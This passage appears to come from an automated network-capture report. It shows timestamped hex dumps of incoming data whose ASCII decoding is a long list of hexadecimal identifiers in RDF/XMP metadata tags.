30 37 46 43 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 43 31 39 42 46 38 46 34 43 39 34 Data Ascii: A5683ED5BC6AF85FAAB073E3</rdf:li> <rdf:li>1F9D004C06DAF11594AF8F0399CDD059</rdf:li> <rdf:li>1F9D4F17307ADA7CAC20CC4767B3A707</rdf:li> <rdf:li>1FA6C047CCAECBC569DBECF3C57B818D</rdf:li> <rdf:li>1FC1126D2D3431FE5B8F00AEC507FC08</rdf:li> <rdf:li>1FC19BF8F4C94
2022-07-21 02:34:44 UTC	2587	IN	Data Raw: 34 35 39 32 42 36 32 33 44 46 44 45 38 34 34 41 32 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 30 39 43 41 31 45 32 33 44 45 30 33 35 38 35 39 33 45 33 30 37 43 38 33 46 41 39 42 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 31 39 38 46 32 44 38 30 46 30 45 33 45 33 36 33 33 33 41 34 38 36 34 38 44 31 36 33 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 33 38 33 39 31 30 32 36 30 31 42 33 32 46 42 32 45 37 36 46 36 31 31 36 38 46 38 33 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 33 42 38 37 38 39 44 42 35 44 32 43 35 31 39 42 38 39 42 43 33 35 44 43 34 39 38 35 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 34 37 31 36 43 30 42 44 46 34 43 41 36 43 33 42 Data Ascii: 4592B623DFDE844A295</rdf:li> <rdf:li>2C09CA1E23DE0358593E307C83FA9B5B</rdf:li> <rdf:li>2C198F2D80F0E3E36333A48648D16390</rdf:li> <rdf:li>2C3839102601B32FB2E76F61168F83E6</rdf:li> <rdf:li>2C3B8789DB5D2C519B89BC35DC498512</rdf:li> <rdf:li>2C4716C0BDF4CA6C3B
2022-07-21 02:34:44 UTC	2643	IN	Data Raw: 32 43 38 31 45 37 39 44 44 30 44 45 39 46 42 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 35 35 38 37 33 32 38 34 31 35 38 39 45 42 35 31 37 33 32 32 34 37 43 42 35 34 31 30 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 35 46 36 37 32 33 44 44 46 46 38 33 32 45 41 35 34 38 44 42 44 33 37 31 42 36 32 41 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 36 38 45 32 37 35 32 34 46 34 37 34 35 32 42 42 41 37 37 37 46 38 41 36 30 31 31 44 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 37 36 32 34 30 45 42 37 37 34 42 31 32 30 37 43 32 34 38 30 39 32 43 37 43 37 31 34 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 37 42 37 37 42 45 39 45 42 42 43 42 37 33 39 31 41 39 Data Ascii: 2C81E79DD0DE9FBB4</rdf:li> <rdf:li>32558732841589EB51732247CB541085</rdf:li> <rdf:li>325F6723DDFF832EA548DBD371B62A95</rdf:li> <rdf:li>3268E27524F47452BBA777F8A6011D47</rdf:li> <rdf:li>3276240EB774B1207C248092C7C7144E</rdf:li> <rdf:li>327B77BE9EBBCB7391A9
2022-07-21 02:34:44 UTC	2761	IN	Data Raw: 3e 33 46 34 35 44 35 39 33 46 41 30 30 39 44 45 31 37 41 45 41 37 30 34 37 34 39 35 39 41 43 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 34 45 31 41 45 41 43 34 31 31 44 45 35 33 46 45 39 30 35 34 31 35 38 39 33 35 41 45 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 36 42 32 34 34 39 38 35 44 46 31 37 39 39 41 36 39 39 38 35 41 32 34 36 41 39 36 38 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 37 39 39 46 34 37 43 45 43 34 46 37 46 34 43 34 30 37 36 30 34 41 41 42 31 31 41 31 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 38 34 34 43 31 35 31 46 35 31 44 32 32 42 34 41 39 31 43 43 32 39 36 46 42 33 33 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 38 37 Data Ascii: >3F45D593FA009DE17AEA70474959AC74</rdf:li> <rdf:li>3F4E1AEAC411DE53FE9054158935AED1</rdf:li> <rdf:li>3F6B244985DF1799A69985A246A968B2</rdf:li> <rdf:li>3F799F47CEC4F7F4C407604AAB11A159</rdf:li> <rdf:li>3F844C151F51D22B4A91CC296FB3301B</rdf:li> <rdf:li>3F87
2022-07-21 02:34:44 UTC	2777	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 36 30 32 42 43 37 32 30 38 44 32 37 44 42 35 30 46 44 31 45 39 35 33 39 41 30 33 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 36 35 39 30 34 32 42 42 42 46 46 35 39 44 32 38 31 46 30 41 41 32 42 38 36 45 30 32 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 39 38 36 45 35 32 33 42 42 36 39 39 33 38 33 36 37 34 36 30 46 30 33 36 42 30 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 38 36 41 43 45 37 41 36 42 44 41 31 31 41 34 31 43 38 46 41 38 31 37 43 44 31 44 32 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 38 42 35 39 36 36 38 38 46 35 46 41 41 31 35 33 37 38 32 35 33 45 33 37 44 34 33 35 36 35 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>4C602BC7208D27DB50FD1E9539A03746</rdf:li> <rdf:li>4C659042BBBFF59D281F0AA2B86E0287</rdf:li> <rdf:li>4C7B986E523BB69938367460F036B09C</rdf:li> <rdf:li>4C86ACE7A6BDA11A41C8FA817CD1D2AA</rdf:li> <rdf:li>4C8B596688F5FAA15378253E37D43565</rdf:
2022-07-21 02:34:44 UTC	2889	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 42 32 33 34 34 42 44 37 30 45 30 44 36 46 35 42 41 34 38 30 38 33 44 37 39 30 38 38 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 42 36 32 43 30 41 37 46 35 30 39 31 36 38 45 36 31 46 34 37 35 31 46 45 44 37 38 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 43 31 36 42 34 37 30 31 34 43 37 35 44 46 35 45 41 35 34 38 41 38 39 34 34 39 31 44 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 44 45 38 35 37 33 34 35 38 41 41 43 41 39 39 43 36 41 42 46 34 32 41 35 41 34 33 39 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 45 36 39 33 36 32 36 39 32 33 38 43 43 31 33 37 43 37 46 46 43 45 45 35 32 30 46 38 43 38 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>52B2344BD70E0D6F5BA48083D79088BF</rdf:li> <rdf:li>52B62C0A7F509168E61F4751FED78D7F</rdf:li> <rdf:li>52C16B47014C75DF5EA548A894491DE4</rdf:li> <rdf:li>52DE8573458AACA99C6ABF42A5A439EF</rdf:li> <rdf:li>52E6936269238CC137C7FFCEE520F8C8</rdf:li
2022-07-21 02:34:44 UTC	2936	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 33 42 38 37 35 46 45 39 39 30 37 30 35 44 39 39 39 45 37 31 33 38 37 34 34 35 32 33 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 33 42 39 43 44 42 34 39 41 45 32 37 36 45 44 46 46 32 39 44 33 43 36 41 36 44 32 46 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 35 33 45 37 37 39 37 42 39 33 32 33 42 35 42 46 38 39 30 36 31 44 31 31 35 45 36 32 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 35 37 30 39 41 41 41 44 36 36 31 38 36 33 37 33 32 43 42 35 30 43 32 46 33 46 43 37 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 31 35 46 35 30 38 42 44 31 31 43 30 42 45 32 44 42 46 31 34 41 46 43 35 34 33 44 31 30 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>613B875FE990705D999E71387445230C</rdf:li> <rdf:li>613B9CDB49AE276EDFF29D3C6A6D2F34</rdf:li> <rdf:li>6153E7797B9323B5BF89061D115E6235</rdf:li> <rdf:li>615709AAAD661863732CB50C2F3FC7D5</rdf:li> <rdf:li>615F508BD11C0BE2DBF14AFC543D10AB</rdf:li> <rd
2022-07-21 02:34:44 UTC	3032	IN	Data Raw: 33 32 38 46 37 38 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 46 31 43 31 34 32 43 31 39 45 41 33 33 41 38 34 43 36 35 36 43 37 35 30 37 35 36 38 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 46 39 38 35 37 44 36 30 36 45 36 45 44 42 44 30 38 42 42 35 34 42 41 45 33 43 34 32 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 46 41 31 45 46 37 38 46 38 42 43 37 36 45 43 31 46 43 43 34 46 38 41 42 42 41 43 42 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 31 41 38 37 36 46 42 33 32 38 34 44 34 46 32 42 32 34 32 38 42 39 37 35 39 31 44 39 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 32 33 32 30 41 34 36 45 31 43 37 46 44 45 43 38 43 43 37 33 34 35 42 42 31 31 35 Data Ascii: 328F782C</rdf:li> <rdf:li>6EF1C142C19EA33A84C656C750756838</rdf:li> <rdf:li>6EF9857D606E6EDBD08BB54BAE3C42C9</rdf:li> <rdf:li>6EFA1EF78F8BC76EC1FCC4F8ABBACBB5</rdf:li> <rdf:li>6F1A876FB3284D4F2B2428B97591D935</rdf:li> <rdf:li>6F2320A46E1C7FDEC8CC7345BB115
2022-07-21 02:34:44 UTC	3167	IN	Data Raw: 38 44 36 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 33 32 36 38 30 42 34 42 39 36 39 39 38 44 31 33 35 33 31 33 36 42 33 44 38 44 45 39 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 33 33 42 43 34 31 31 30 32 32 45 37 37 41 44 31 39 33 35 43 42 30 41 44 32 31 38 31 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 34 33 45 32 37 41 46 42 30 45 30 45 33 36 45 38 46 46 45 34 43 39 31 36 42 46 34 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 34 43 46 33 46 36 44 45 34 39 44 36 38 35 36 45 44 31 32 36 35 30 45 33 32 43 36 44 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 35 30 38 38 42 30 35 42 45 41 38 36 37 42 32 44 43 39 43 38 43 42 41 43 44 43 46 41 46 Data Ascii: 8D6CD9</rdf:li> <rdf:li>7632680B4B96998D1353136B3D8DE91C</rdf:li> <rdf:li>7633BC411022E77AD1935CB0AD21814D</rdf:li> <rdf:li>7643E27AFB0E0E36E8FFE4C916BF4483</rdf:li> <rdf:li>764CF3F6DE49D6856ED12650E32C6D56</rdf:li> <rdf:li>765088B05BEA867B2DC9C8CBACDCFAF
2022-07-21 02:34:44 UTC	3342	IN	Data Raw: 41 42 38 44 37 45 43 46 36 46 33 32 36 45 33 34 44 39 43 44 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 39 45 42 44 42 44 37 37 39 43 42 31 37 38 44 30 36 39 38 32 33 36 42 34 42 36 45 43 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 41 31 36 33 41 34 32 45 32 41 37 33 39 30 45 46 30 32 38 33 36 37 41 44 32 45 38 38 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 41 41 41 30 45 37 43 33 37 30 33 32 43 32 41 34 41 36 41 43 42 41 31 38 38 33 34 32 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 43 32 33 44 32 32 38 33 38 34 38 44 39 38 36 36 41 31 33 35 33 41 42 36 45 39 34 35 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 33 43 43 43 39 30 42 38 34 34 46 35 46 31 Data Ascii: AB8D7ECF6F326E34D9CD29</rdf:li> <rdf:li>839EBDBD779CB178D0698236B4B6ECCC</rdf:li> <rdf:li>83A163A42E2A7390EF028367AD2E88EC</rdf:li> <rdf:li>83AAA0E7C37032C2A4A6ACBA188342E6</rdf:li> <rdf:li>83C23D2283848D9866A1353AB6E94530</rdf:li> <rdf:li>83CCC90B844F5F1
2022-07-21 02:34:44 UTC	3358	IN	Data Raw: 64 66 3a 6c 69 3e 39 30 43 36 44 36 30 46 38 42 35 37 37 39 46 39 42 38 30 32 33 34 31 30 34 35 41 39 35 38 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 45 30 46 38 41 31 36 46 31 36 36 32 33 35 36 31 45 37 41 32 33 42 44 44 31 35 44 31 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 45 41 41 31 43 30 45 45 46 43 46 37 38 41 30 41 41 38 45 37 33 32 34 33 30 36 41 39 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 46 31 33 46 32 32 37 34 39 30 39 45 42 41 36 43 39 46 39 38 43 36 46 33 44 37 38 35 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 46 33 44 31 42 33 42 41 43 33 46 39 36 42 38 32 34 31 35 37 39 39 35 44 42 31 42 33 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>90C6D60F8B5779F9B802341045A958C3</rdf:li> <rdf:li>90E0F8A16F16623561E7A23BDD15D1E6</rdf:li> <rdf:li>90EAA1C0EEFCF78A0AA8E7324306A925</rdf:li> <rdf:li>90F13F2274909EBA6C9F98C6F3D785D7</rdf:li> <rdf:li>90F3D1B3BAC3F96B824157995DB1B36D</rdf:li> <rdf:li
2022-07-21 02:34:44 UTC	3366	IN	Data Raw: 33 32 38 35 46 31 46 37 39 30 38 42 34 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 45 35 42 39 43 45 38 46 31 31 35 39 33 34 30 46 36 38 41 45 32 42 45 37 31 34 33 33 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 45 41 46 44 37 32 45 39 36 45 34 42 36 39 35 31 31 42 43 44 33 32 39 35 45 46 45 42 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 30 31 42 43 43 33 31 41 45 43 30 32 36 39 37 36 30 33 41 46 38 41 44 39 39 36 39 44 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 30 35 33 35 33 45 30 36 37 34 31 38 39 43 41 39 43 46 41 33 46 45 34 43 42 35 46 37 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 35 43 38 46 31 36 43 34 36 30 45 34 44 37 34 31 38 46 30 Data Ascii: 3285F1F7908B4B4</rdf:li> <rdf:li>97E5B9CE8F1159340F68AE2BE7143361</rdf:li> <rdf:li>97EAFD72E96E4B69511BCD3295EFEBF2</rdf:li> <rdf:li>9801BCC31AEC02697603AF8AD9969D10</rdf:li> <rdf:li>9805353E0674189CA9CFA3FE4CB5F762</rdf:li> <rdf:li>9815C8F16C460E4D7418F0
2022-07-21 02:34:44 UTC	3478	IN	Data Raw: 35 34 39 44 46 45 31 39 38 31 43 43 31 33 30 41 33 42 35 33 39 41 35 41 38 46 34 30 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 35 37 36 32 30 43 43 43 44 31 38 31 36 39 33 31 31 35 31 31 35 31 35 33 35 46 41 46 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 35 38 38 32 32 42 35 30 42 45 44 35 36 37 33 32 37 30 41 30 46 34 45 43 38 45 41 46 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 36 33 44 31 41 31 39 43 41 46 33 43 33 36 42 41 43 38 42 31 42 36 37 33 37 41 41 43 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 36 34 44 35 31 38 37 46 31 41 38 34 44 33 42 44 43 46 30 43 42 33 38 30 30 45 37 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 37 43 41 38 Data Ascii: 549DFE1981CC130A3B539A5A8F40A96</rdf:li> <rdf:li>A557620CCCD1816931151151535FAFFD</rdf:li> <rdf:li>A558822B50BED5673270A0F4EC8EAF82</rdf:li> <rdf:li>A563D1A19CAF3C36BAC8B1B6737AAC4B</rdf:li> <rdf:li>A564D5187F1A84D3BDCF0CB3800E7BF7</rdf:li> <rdf:li>A57CA8
2022-07-21 02:34:44 UTC	3494	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 38 44 32 43 34 32 30 34 41 38 46 43 42 37 30 39 44 44 32 38 36 36 38 39 30 44 42 37 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 38 45 44 34 39 41 43 43 41 35 45 31 34 32 39 44 42 43 30 30 35 37 43 38 42 43 36 37 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 39 36 43 37 45 38 41 44 33 46 38 31 38 37 45 42 35 34 46 34 41 37 32 37 42 45 30 44 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 39 37 31 33 38 34 41 30 34 30 39 38 41 42 45 39 30 43 39 35 33 33 33 33 34 33 33 45 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 32 41 38 38 31 32 38 44 37 44 42 34 31 34 45 41 38 41 35 31 43 46 43 32 42 32 31 30 32 42 30 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>B28D2C4204A8FCB709DD2866890DB710</rdf:li> <rdf:li>B28ED49ACCA5E1429DBC0057C8BC67B4</rdf:li> <rdf:li>B296C7E8AD3F8187EB54F4A727BE0DCE</rdf:li> <rdf:li>B2971384A04098ABE90C953333433E17</rdf:li> <rdf:li>B2A88128D7DB414EA8A51CFC2B2102B0</rdf:li
2022-07-21 02:34:44 UTC	3501	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 45 32 35 38 46 46 45 31 31 38 35 31 35 34 39 44 38 37 45 44 43 31 44 35 36 41 36 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 45 37 36 32 32 41 31 38 46 41 45 36 41 42 46 38 45 46 37 32 42 30 42 37 38 33 35 32 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 46 Data Ascii: :li> <rdf:li>B8E258FFE11851549D87EDC1D56A67C5</rdf:li> <rdf:li>B8E7622A18FAE6ABF8EF72B0B783523F</rdf:li> <rdf:li>B8F
2022-07-21 02:34:44 UTC	3501	IN	Data Raw: 34 41 39 46 33 39 44 44 42 42 46 31 32 37 36 45 30 44 42 31 41 30 43 44 44 31 36 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 30 38 30 42 44 31 34 31 46 43 41 32 41 34 45 43 32 32 30 42 39 41 45 44 38 36 43 33 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 30 46 32 32 30 36 38 39 38 39 44 35 30 41 46 39 37 44 45 39 36 39 38 39 44 41 36 42 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 31 35 45 31 41 31 35 33 46 39 42 46 35 36 46 45 46 30 30 34 35 31 35 42 30 38 36 41 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 32 44 42 35 39 34 31 37 34 45 34 46 30 44 39 33 42 43 31 34 33 37 30 33 41 46 37 43 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 33 36 30 39 42 38 Data Ascii: 4A9F39DDBBF1276E0DB1A0CDD16A8</rdf:li> <rdf:li>B9080BD141FCA2A4EC220B9AED86C335</rdf:li> <rdf:li>B90F22068989D50AF97DE96989DA6B24</rdf:li> <rdf:li>B915E1A153F9BF56FEF004515B086A51</rdf:li> <rdf:li>B92DB594174E4F0D93BC143703AF7C87</rdf:li> <rdf:li>B93609B8
2022-07-21 02:34:44 UTC	3517	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 36 39 38 30 34 38 34 36 45 46 31 34 41 46 34 32 32 36 44 44 39 45 32 45 33 36 30 39 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 37 32 35 39 30 37 38 44 34 30 42 44 37 37 45 45 42 37 38 43 46 34 33 32 34 45 33 41 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 37 35 41 43 34 46 38 46 33 30 33 44 43 43 43 46 41 39 43 45 44 35 37 41 46 31 43 37 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 37 38 32 37 42 43 36 42 44 38 42 32 38 39 32 43 45 43 32 42 30 44 37 32 33 35 39 46 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 38 30 41 43 43 33 30 33 44 30 44 46 33 43 32 38 35 33 34 41 42 35 34 32 35 36 32 35 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>C769804846EF14AF4226DD9E2E36095D</rdf:li> <rdf:li>C77259078D40BD77EEB78CF4324E3AC4</rdf:li> <rdf:li>C775AC4F8F303DCCCFA9CED57AF1C724</rdf:li> <rdf:li>C77827BC6BD8B2892CEC2B0D72359FDF</rdf:li> <rdf:li>C780ACC303D0DF3C28534AB54256257E</rdf:li>
2022-07-21 02:34:44 UTC	3533	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 44 34 30 30 35 42 35 44 34 32 41 37 36 31 30 35 42 37 39 36 37 38 43 39 41 32 31 44 39 46 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 31 36 32 35 44 33 36 34 41 34 41 35 38 44 37 32 35 46 37 39 41 42 34 45 35 46 31 35 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 31 39 33 46 34 43 44 42 46 34 30 35 33 31 33 35 30 44 33 38 34 38 31 34 41 44 45 37 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 31 45 36 34 44 31 41 45 37 30 32 39 44 39 35 37 36 33 45 32 33 46 46 32 41 38 31 38 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 33 42 34 35 33 45 45 43 45 30 32 37 32 41 38 46 30 41 33 35 43 42 42 42 44 36 38 32 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>D4005B5D42A76105B79678C9A21D9F19</rdf:li> <rdf:li>D41625D364A4A58D725F79AB4E5F15A3</rdf:li> <rdf:li>D4193F4CDBF40531350D384814ADE799</rdf:li> <rdf:li>D41E64D1AE7029D95763E23FF2A81818</rdf:li> <rdf:li>D43B453EECE0272A8F0A35CBBBD682E7</rdf:li> <rdf:
2022-07-21 02:34:44 UTC	3541	IN	Data Raw: 46 43 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 39 31 35 46 36 46 38 45 39 45 36 46 46 45 36 31 45 32 31 45 38 38 41 30 38 36 30 30 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 39 33 43 30 46 37 34 43 36 32 35 37 41 39 30 44 38 37 41 44 43 41 31 35 39 33 39 39 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 41 39 43 30 45 30 46 35 41 30 45 32 43 38 36 45 39 43 39 31 38 39 31 36 42 32 37 35 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 42 46 44 42 42 38 35 45 39 42 43 38 36 45 46 39 37 36 32 39 36 31 34 46 37 34 34 42 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 43 39 33 36 41 38 43 46 34 45 33 44 46 30 44 44 38 30 41 36 41 42 34 38 44 38 30 37 35 31 3c Data Ascii: FC13</rdf:li> <rdf:li>DA915F6F8E9E6FFE61E21E88A086005F</rdf:li> <rdf:li>DA93C0F74C6257A90D87ADCA1593991C</rdf:li> <rdf:li>DAA9C0E0F5A0E2C86E9C918916B2759F</rdf:li> <rdf:li>DABFDBB85E9BC86EF97629614F744B9B</rdf:li> <rdf:li>DAC936A8CF4E3DF0DD80A6AB48D80751<
2022-07-21 02:34:44 UTC	3557	IN	Data Raw: 34 38 37 41 31 46 38 42 45 45 35 32 31 31 37 35 45 45 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 44 30 46 39 37 43 42 34 36 42 42 43 39 33 42 44 36 35 38 42 44 31 31 46 37 43 32 38 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 44 43 35 43 44 46 37 31 34 32 33 45 30 41 45 45 36 41 41 33 37 36 36 37 34 32 38 31 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 45 32 32 33 30 44 41 34 31 35 37 34 44 38 36 39 30 46 39 35 42 45 35 46 43 34 45 46 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 45 43 35 31 38 37 39 45 41 35 32 44 31 38 35 34 30 32 33 42 37 39 30 46 45 35 44 33 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 46 35 30 45 38 39 42 38 42 39 42 39 35 37 42 Data Ascii: 487A1F8BEE521175EE21</rdf:li> <rdf:li>E7D0F97CB46BBC93BD658BD11F7C2867</rdf:li> <rdf:li>E7DC5CDF71423E0AEE6AA376674281F7</rdf:li> <rdf:li>E7E2230DA41574D8690F95BE5FC4EF5E</rdf:li> <rdf:li>E7EC51879EA52D1854023B790FE5D3B1</rdf:li> <rdf:li>E7F50E89B8B9B957B
